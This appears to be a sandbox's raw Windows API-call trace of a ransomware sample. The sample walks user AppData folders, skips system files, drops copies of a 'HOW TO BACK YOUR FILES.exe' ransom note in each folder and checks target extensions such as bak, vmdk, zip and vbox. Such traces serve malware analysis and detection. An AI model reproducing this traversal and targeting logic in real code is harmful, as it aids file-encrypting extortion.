	[0037.044] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.044] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0037.044] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0037.044] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0037.044] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e3ec1f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e3ec1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0037.044] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0037.044] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 1
	[0037.044] lstrcmpiW (lpString1="My", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0037.044] lstrcmpiW (lpString1="My", lpString2="Apollon865.txt.exe") returned 1
	[0037.044] lstrcmpiW (lpString1="My", lpString2=".") returned 1
	[0037.044] lstrcmpiW (lpString1="My", lpString2="..") returned 1
	[0037.044] lstrcmpiW (lpString1="My", lpString2="windows") returned -1
	[0037.044] lstrcmpiW (lpString1="My", lpString2="bootmgr") returned 1
	[0037.044] lstrcmpiW (lpString1="My", lpString2="temp") returned -1
	[0037.044] lstrcmpiW (lpString1="My", lpString2="pagefile.sys") returned -1
	[0037.044] lstrcmpiW (lpString1="My", lpString2="boot") returned 1
	[0037.044] lstrcmpiW (lpString1="My", lpString2="ids.txt") returned 1
	[0037.044] lstrcmpiW (lpString1="My", lpString2="ntuser.dat") returned -1
	[0037.044] lstrcmpiW (lpString1="My", lpString2="perflogs") returned -1
	[0037.044] lstrcmpiW (lpString1="My", lpString2="MSBuild") returned 1
	[0037.044] lstrlenW (lpString="My") returned 2
	[0037.044] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\*") returned 63
	[0037.044] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="My" | out: lpString1="My") returned="My"
	[0037.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0037.044] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b9168
	[0037.044] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0037.044] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My", cAlternateFileName="")) returned 0
	[0037.044] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0037.044] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b30
	[0037.044] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My"
	[0037.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0037.044] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0037.044] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned 64
	[0037.044] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My"
	[0037.044] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.045] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.053] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.053] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e3ec1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3ec1f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0037.054] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.054] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.054] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0037.054] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e3ec1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e3ec1f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.054] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.054] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0037.054] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0037.054] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0037.054] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1
	[0037.054] lstrcmpiW (lpString1="Certificates", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.054] lstrcmpiW (lpString1="Certificates", lpString2="Apollon865.txt.exe") returned 1
	[0037.054] lstrcmpiW (lpString1="Certificates", lpString2=".") returned 1
	[0037.054] lstrcmpiW (lpString1="Certificates", lpString2="..") returned 1
	[0037.054] lstrcmpiW (lpString1="Certificates", lpString2="windows") returned -1
	[0037.054] lstrcmpiW (lpString1="Certificates", lpString2="bootmgr") returned 1
	[0037.054] lstrcmpiW (lpString1="Certificates", lpString2="temp") returned -1
	[0037.054] lstrcmpiW (lpString1="Certificates", lpString2="pagefile.sys") returned -1
	[0037.054] lstrcmpiW (lpString1="Certificates", lpString2="boot") returned 1
	[0037.054] lstrcmpiW (lpString1="Certificates", lpString2="ids.txt") returned -1
	[0037.054] lstrcmpiW (lpString1="Certificates", lpString2="ntuser.dat") returned -1
	[0037.054] lstrcmpiW (lpString1="Certificates", lpString2="perflogs") returned -1
	[0037.054] lstrcmpiW (lpString1="Certificates", lpString2="MSBuild") returned -1
	[0037.054] lstrlenW (lpString="Certificates") returned 12
	[0037.054] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\*") returned 66
	[0037.054] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Certificates" | out: lpString1="Certificates") returned="Certificates"
	[0037.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0037.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9c) returned 0x599b58
	[0037.054] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7b10
	[0037.054] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CRLs", cAlternateFileName="")) returned 1
	[0037.054] lstrcmpiW (lpString1="CRLs", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.054] lstrcmpiW (lpString1="CRLs", lpString2="Apollon865.txt.exe") returned 1
	[0037.054] lstrcmpiW (lpString1="CRLs", lpString2=".") returned 1
	[0037.055] lstrcmpiW (lpString1="CRLs", lpString2="..") returned 1
	[0037.055] lstrcmpiW (lpString1="CRLs", lpString2="windows") returned -1
	[0037.055] lstrcmpiW (lpString1="CRLs", lpString2="bootmgr") returned 1
	[0037.055] lstrcmpiW (lpString1="CRLs", lpString2="temp") returned -1
	[0037.055] lstrcmpiW (lpString1="CRLs", lpString2="pagefile.sys") returned -1
	[0037.055] lstrcmpiW (lpString1="CRLs", lpString2="boot") returned 1
	[0037.055] lstrcmpiW (lpString1="CRLs", lpString2="ids.txt") returned -1
	[0037.055] lstrcmpiW (lpString1="CRLs", lpString2="ntuser.dat") returned -1
	[0037.055] lstrcmpiW (lpString1="CRLs", lpString2="perflogs") returned -1
	[0037.055] lstrcmpiW (lpString1="CRLs", lpString2="MSBuild") returned -1
	[0037.055] lstrlenW (lpString="CRLs") returned 4
	[0037.055] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned 77
	[0037.055] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="CRLs" | out: lpString1="CRLs") returned="CRLs"
	[0037.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0037.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x599c00
	[0037.055] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0037.055] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CTLs", cAlternateFileName="")) returned 1
	[0037.055] lstrcmpiW (lpString1="CTLs", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.055] lstrcmpiW (lpString1="CTLs", lpString2="Apollon865.txt.exe") returned 1
	[0037.055] lstrcmpiW (lpString1="CTLs", lpString2=".") returned 1
	[0037.055] lstrcmpiW (lpString1="CTLs", lpString2="..") returned 1
	[0037.055] lstrcmpiW (lpString1="CTLs", lpString2="windows") returned -1
	[0037.055] lstrcmpiW (lpString1="CTLs", lpString2="bootmgr") returned 1
	[0037.055] lstrcmpiW (lpString1="CTLs", lpString2="temp") returned -1
	[0037.055] lstrcmpiW (lpString1="CTLs", lpString2="pagefile.sys") returned -1
	[0037.055] lstrcmpiW (lpString1="CTLs", lpString2="boot") returned 1
	[0037.055] lstrcmpiW (lpString1="CTLs", lpString2="ids.txt") returned -1
	[0037.055] lstrcmpiW (lpString1="CTLs", lpString2="ntuser.dat") returned -1
	[0037.055] lstrcmpiW (lpString1="CTLs", lpString2="perflogs") returned -1
	[0037.055] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="CTLs" | out: lpString1="CTLs") returned="CTLs"
	[0037.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ca8
	[0037.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x599c98
	[0037.055] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7cb0 | out: ListHead=0x5b76b0, ListEntry=0x5b7cb0) returned 0x5b7c90
	[0037.055] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e3ec1f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e3ec1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0037.055] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0037.056] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e3ec1f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e3ec1f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0037.056] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0037.056] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7cb0
	[0037.056] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs"
	[0037.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599c98 | out: hHeap=0x580000) returned 1
	[0037.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0037.056] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned 69
	[0037.056] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs"
	[0037.056] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.056] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\ctls\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.060] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.060] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CTLs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e412350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e412350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0037.060] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.060] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.060] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs"
	[0037.060] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599c00 | out: hHeap=0x580000) returned 1
	[0037.060] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0037.061] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned 69
	[0037.061] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs"
	[0037.061] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.061] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\crls\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.108] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.108] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\CRLs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e484770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e484770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0037.108] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.108] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.108] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates"
	[0037.108] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599b58 | out: hHeap=0x580000) returned 1
	[0037.108] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b28 | out: hHeap=0x580000) returned 1
	[0037.109] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned 77
	[0037.109] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates"
	[0037.109] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.109] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\systemcertificates\\my\\certificates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.113] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.113] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\SystemCertificates\\My\\Certificates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e484770, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e484770, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0037.113] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.113] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.113] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect"
	[0037.113] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599ae8 | out: hHeap=0x580000) returned 1
	[0037.113] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0037.113] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect") returned 50
	[0037.113] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect"
	[0037.113] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0037.113] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\protect\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0037.125] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0037.126] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e4aa8d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e4aa8d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0037.126] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0037.126] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0037.126] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="CREDHIST" | out: lpString1="CREDHIST") returned="CREDHIST"
	[0037.126] lstrlenW (lpString="CREDHIST") returned 8
	[0037.126] lstrlenW (lpString="Apollon865") returned 10
	[0037.126] lstrlenW (lpString=".dll") returned 4
	[0037.126] lstrcmpiW (lpString1="CREDHIST", lpString2=".dll") returned 1
	[0037.126] lstrlenW (lpString=".lnk") returned 4
	[0037.126] lstrcmpiW (lpString1="CREDHIST", lpString2=".lnk") returned 1
	[0037.126] lstrlenW (lpString=".ini") returned 4
	[0037.126] lstrcmpiW (lpString1="CREDHIST", lpString2=".ini") returned 1
	[0037.126] lstrlenW (lpString=".sys") returned 4
	[0037.126] lstrcmpiW (lpString1="CREDHIST", lpString2=".sys") returned 1
	[0037.126] lstrlenW (lpString="CREDHIST") returned 8
	[0037.126] lstrlenW (lpString="bak") returned 3
	[0037.126] lstrcmpiW (lpString1="IST", lpString2="bak") returned 1
	[0037.126] lstrlenW (lpString="ba_") returned 3
	[0037.126] lstrcmpiW (lpString1="IST", lpString2="ba_") returned 1
	[0037.126] lstrlenW (lpString="dbb") returned 3
	[0037.126] lstrcmpiW (lpString1="IST", lpString2="dbb") returned 1
	[0037.126] lstrlenW (lpString="vmdk") returned 4
	[0037.126] lstrcmpiW (lpString1="HIST", lpString2="vmdk") returned -1
	[0037.126] lstrlenW (lpString="rar") returned 3
	[0037.126] lstrcmpiW (lpString1="IST", lpString2="rar") returned -1
	[0037.126] lstrlenW (lpString="zip") returned 3
	[0037.126] lstrcmpiW (lpString1="IST", lpString2="zip") returned -1
	[0037.126] lstrlenW (lpString="tgz") returned 3
	[0037.127] lstrcmpiW (lpString1="IST", lpString2="tgz") returned -1
	[0037.127] lstrlenW (lpString="vbox") returned 4
